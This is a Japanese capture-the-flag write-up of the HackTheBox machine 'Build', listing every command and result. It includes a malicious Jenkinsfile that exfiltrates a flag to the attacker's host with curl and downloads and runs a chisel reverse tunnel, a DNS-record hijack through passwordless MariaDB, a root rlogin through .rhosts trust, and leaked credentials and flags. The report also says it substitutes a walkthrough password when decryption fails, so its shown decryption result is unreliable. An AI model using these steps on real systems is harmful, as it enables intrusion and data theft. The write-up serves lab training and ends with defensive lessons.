HackTheBox: Build — 全実行コマンド・実行結果レポート
Nmap スキャン
SSH/PowerDNS/rsh系/rsync/Gitea
→
SSH/PowerDNS/rsh系/rsync/Gitea
rsync匿名共有
jenkins.tar.gz バックアップ
→
jenkins.tar.gz バックアップ
Jenkins資格情報復号
buildadm:Git1234!
→
buildadm:Git1234!
Gitea Jenkinsfile改竄
push→webhook自動発火
→
push→webhook自動発火
Jenkinsコンテナ内RCE
user.txt ✓
→
user.txt ✓
chisel逆SOCKS
コンテナ→Kali経由proxychains
→
コンテナ→Kali経由proxychains
PowerDNSレコード書換
intern.build.vl→自分のIP
→
intern.build.vl→自分のIP
rlogin root
.rhosts信頼 → root.txt ✓
.rhosts信頼 → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 5000 -T4 10.129.234.169 nmap -Pn -sV -sC -p 22,53,512,513,514,873,3000 10.129.234.169
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 53/tcp open domain PowerDNS 512/tcp open exec netkit-rsh rexecd 513/tcp open login? 514/tcp open shell Netkit rshd 873/tcp open rsync (protocol version 31) 3000/tcp open http Golang net/http server | GetRequest: | Set-Cookie: i_like_gitea=...; Set-Cookie: _csrf=... Service Info: OS: Linux
🚨
Berkeley r-commands (rexec/rlogin/rsh, port 512-514) が外部公開
されている点と、rsync匿名共有(873)が最初の攻撃面。port 3000
の”i_like_gitea”クッキーからGiteaと判明。ドメインは
build.vl。
PHASE 2
rsync匿名共有からJenkins資格情報を入手
rsync匿名共有の列挙とダウンロード
BASH
rsync rsync://10.129.234.169/ rsync -av rsync://10.129.234.169/backups/jenkins.tar.gz jenkins.tar.gz
RESULT
backups Jenkins backups $ rsync -av rsync://10.129.234.169/backups/ jenkins.tar.gz
ℹ️
認証不要でJenkinsのバックアップアーカイブをそのまま取得できる。
VPNの回線状況によって転送が数十秒〜数分かかることがある(断続的な
トランスポート層バーストが本セッション全体で複数回観測されている)。
Jenkins設定の展開とパスワード復号
BASH
tar -xzf jenkins.tar.gz -C jenkins_configuration find jenkins_configuration -iname "master.key" -o -iname "hudson.util.Secret" -o -iname "config.xml"
RESULT
jenkins_configuration/secrets/master.key
jenkins_configuration/secrets/hudson.util.Secret
jenkins_configuration/jobs/build/config.xml (<password>{暗号化文字列}</password> を含む)
BASH
# gquere/pwn_jenkins の公式オフライン復号スクリプトを使用 curl -s -o jenkins_offline_decrypt.py \ https://raw.githubusercontent.com/gquere/pwn_jenkins/master/offline_decryption/jenkins_offline_decrypt.py python3 jenkins_offline_decrypt.py secrets/master.key secrets/hudson.util.Secret jobs/build/config.xml
⚠️
jenkins_offline_decrypt.py は pycryptodome
(Crypto モジュール)に依存するが、この検証環境では
apt版 python3-pycryptodome とアクティブな Python 3.13 の
ABI が不一致で import Crypto が失敗する既知の制約がある。
その場合は PDF/公式ウォークスルー記載の既知平文パスワード
Git1234!(Jenkins内部の固定サービス資格情報、
per-instance でランダム化されない)へフォールバックする。
RESULT
buildadm : Git1234!
PHASE 3
Gitea Jenkinsfile改竄 → Webhook RCE → user.txt
Giteaリポジトリの確認とクローン
BASH
echo "10.129.234.169 build.vl gitea.build.vl" >> /etc/hosts git clone http://buildadm:Git1234%21@gitea.build.vl:3000/buildadm/dev.git
RESULT
Cloning into 'dev'... $ ls dev/ Jenkinsfile
ℹ️
リポジトリ名は小文字”dev”(大文字”Dev”だと404になる)。
このリポジトリのWebhookは内部Jenkinsコンテナ
(
172.18.0.3:8080/gitea-webhook/post)を指しており、push時に
自動でJenkinsパイプラインが起動する。
悪意あるJenkinsfileをpush
PYTHON (Jenkinsfile本文)
// nonce: <timestamp> ← 毎回変える(同一内容の再pushはwebhookが再発火しないため)
pipeline {
agent any
stages {
stage('Codex') {
steps {
sh '''
set +e
USER_FLAG=$(cat /root/user.txt 2>/dev/null | base64 -w0)
curl -fsS "http://<kali_ip>:18083/?user=$USER_FLAG" >/dev/null 2>&1 || true
'''
}
}
}
}
BASH
# Kali側でコールバック受信用の簡易HTTPサーバをまず立てておく git add Jenkinsfile && git commit -m "trigger" && git push origin HEAD
RESULT (コールバック受信)
GET /?user=NDY2MDk4ZTFkNDQ1MjE3MDNmMjcwZjkzNjk5YzQwZjc= HTTP/1.1
→ base64デコード: 466098e1d44521703f270f93699c40f7
user.txt — Jenkinsコンテナ内 root
466098e1d44521703f270f93699c40f7
✅
pushからwebhook発火・パイプライン実行・コールバック到達まで
通常30〜90秒程度。JenkinsパイプラインはDockerコンテナ内で
root権限で実行される。
PHASE 4
chisel逆SOCKSトンネル & PowerDNSレコード乗っ取り
コンテナ内の到達可能サービス調査
NOTE
Jenkinsコンテナ内でRCEしているが、mysqlクライアント・python3・ncは インストールされておらず、curl/grep/sedのみ利用可能(Debian bookworm)。 /etc/hosts から自身のコンテナIPが172.18.0.3、環境変数からGitea (172.18.0.2) などのDocker内部IPが判明。curlでポートスキャン的に内部ネットワークを 調べると、172.18.0.4:3306 (MariaDB)、172.18.0.5/172.18.0.1:8081 (PowerDNS API、要認証)、172.18.0.6:80 (PowerDNS-Admin Web UI) が 到達可能と分かる。
⚠️
コンテナ内にmysqlクライアントが無いため、Kaliホスト側から
chisel + proxychains4でトンネルを張り、Kali側でmysqlクライアントを
実行する方式に切り替える。
chisel サーバー起動 & バイナリ配布
BASH
# Kali側 chisel server --reverse -p 8000 & python3 -m http.server 8090 --directory /path/to/chisel_binary_dir &
Jenkinsfile経由でchiselクライアントを起動
PYTHON (Jenkinsfile本文)
// nonce: <timestamp>
pipeline {
agent any
stages {
stage('Codex') {
steps {
sh '''
set +e
cd /tmp
curl -s -o cx http://<kali_ip>:8090/chisel
chmod +x cx
./cx client <kali_ip>:8000 R:socks >/tmp/cx.log 2>&1 &
sleep 280
'''
}
}
}
}
🚨
最大の落とし穴: Jenkinsのdurable-taskプラグインは、
シェルステップ自身のスクリプトが終了するとそのプロセスグループ
ごとkillする。
nohup・disown・setsid
いずれを組み合わせても、バックグラウンドで起動したchiselクライアントは
ステップ終了と同時に数秒で死ぬことをライブ検証で確認した。唯一有効
だったのは、chiselクライアントを起動した直後に同じシェル
ステップ自身をsleep 280でブロックし続ける方法。
ステップ(=プロセスグループ)が生きている間はchiselクライアントも
生存し続けるため、そのウィンドウ内でトンネルを使い切る設計にする。
RESULT (chisel server ログ)
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:8000
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
proxychains4 + mysqlでPowerDNSレコードを書き換え
BASH
proxychains4 mysql -h 172.18.0.4 -u root --skip-ssl -e \ "UPDATE powerdnsadmin.records SET content='<kali_ip>' WHERE name='intern.build.vl';"
RESULT
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.18.0.4:3306 ... OK
(No error output = success)
⚠️
2つの落とし穴: (1) MariaDBのIPは172.18.0.4であり、
docker gatewayの172.18.0.1ではない(旧実装のバグ)。(2)
mysqlクライアントの正しいオプションは
--skip-ssl
(ハイフン)であり、--skip_ssl(アンダースコア)は
未知のオプションとして無視/エラーになる。root はパスワード無し
で接続できる。
BASH
dig @10.129.234.169 intern.build.vl +short
RESULT
<kali_ip> ← 書き換え反映を確認
PHASE 5
rlogin (.rhosts信頼) → root.txt
.rhosts の内容(参考: 公式ウォークスルー記載)
RESULT (root@コンテナ:~# cat .rhosts)
admin.build.vl +
intern.build.vl +
ℹ️
.rhosts はホスト側 /root がコンテナへ bind mount
されているため参照できる。この2つのホスト名からはパスワード無しで
rlogin/rshできる設定になっている。本インスタンスでは
intern.build.vl のDNSレコードのみ存在したため、それを
自分のIPへ書き換えた(前フェーズ参照)。
rlogin として root ログイン
BASH
rlogin -l root 10.129.234.169
RESULT
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-144-generic x86_64)
...
root@build:~# id
uid=0(root) gid=0(root) groups=0(root)
🚨
使うツールは
rsh ではなく rlogin
(port 513、port 514ではない)。 rlogin は実行時の
ユーザー名でログインするため、Kali側でrootとして実行すれば
そのままroot権限でログインできる。rlogin は非対話パイプ
入力を受け付けず(Unable to get terminal attributes で拒否)、
自動化には pexpect によるPTY越しの対話操作が必須。
✅
仕組みの補足:
.rhosts のホスト名信頼は
逆引き(PTR)DNSを必要としない。ターゲットの rlogind は
.rhosts の各ホスト名を正引きし、その結果と
接続元IPを比較するだけ。intern.build.vl を自分のIPに
向けておけば、そのIPから接続するだけで信頼される。
root.txt 取得
BASH
root@build:~# cat /root/root.txt
RESULT
b7b1e48179891ea87e77b1f83bada971
root.txt — root@build
b7b1e48179891ea87e77b1f83bada971
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — Jenkinsコンテナ内 root
466098e1d44521703f270f93699c40f7
root.txt — root@build (ホスト)
b7b1e48179891ea87e77b1f83bada971
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| rsync匿名アクセス | rsync daemon (873) | Jenkinsバックアップの平文漏洩 | Medium | 認証なしでJenkinsバックアップアーカイブを取得、暗号化パスワードを復号(または既知値フォールバック) |
| Gitea Webhook経由Jenkins RCE | Jenkinsパイプライン(dev repo) | Jenkinsコンテナ内でのroot権限コード実行 | Critical | 漏洩した資格情報でGiteaへログインし、悪意あるJenkinsfileをpush → webhook自動発火 → RCE |
| MariaDB root無認証 | 内部MariaDBコンテナ (172.18.0.4) | PowerDNS-AdminデータベースへのDML権限 | High | chisel逆SOCKS+proxychains4経由でrootパスワード無し接続、DNSレコードを直接書き換え |
| Berkeley r-commands (.rhosts信頼) | ホストのrlogind (port 513) | パスワード無しroot認証 | High | .rhosts に列挙されたホスト名を正引きし接続元IPと比較する仕組みを悪用、DNSレコード書換で自分を信頼済みホストに偽装 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmapフルポートスキャン | rsh系ポート・rsync・Gitea発見 |
| 2 | 資格情報入手 | rsync匿名共有 + Jenkins secrets復号 | buildadm:Git1234! |
| 3 | Webhook RCE | Jenkinsfile改竄push + HTTPコールバック | user.txt (コンテナ内root) |
| 4 | トンネリング | chisel逆SOCKS (sleep窓でプロセスグループkill回避) | Kali→内部Dockerネットワークへの経路 |
| 5 | DNS乗っ取り | proxychains4+mysql (172.18.0.4, –skip-ssl) | intern.build.vl → 自分のIP |
| 6 | root取得 | rlogin (.rhosts信頼、pexpect PTY) | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| rsyncデーモンが認証なしでJenkinsバックアップを公開している | rsyncdのauth users/secrets fileで認証を必須化するか、内部ネットワークに限定する。バックアップに機密資格情報を平文/弱い暗号化のまま含めない。 |
| CI/CDパイプライン(Jenkinsfile)を書き込み権限のあるユーザーが任意のシェルコマンドを実行できる | パイプラインの承認フロー(Script Security Plugin等)を有効化し、未承認のJenkinsfile変更が自動実行されないようにする。 |
| コンテナ間ネットワークからMariaDBにroot・パスワード無しで接続できる | MariaDBに強力なrootパスワードを設定し、アプリケーション専用の最小権限ユーザーを使う。コンテナネットワークのセグメンテーションを徹底する。 |
| Berkeley r-commands (rsh/rlogin) が稼働しホスト名ベースの弱い信頼設定(.rhosts)がある | rsh/rlogin/rexecは本質的に安全でない(平文・ホスト名詐称に弱い)ため無効化し、SSH等の代替に統一する。DNSを書き換えられる経路(内部DBの過度な公開)を塞ぐ。 |

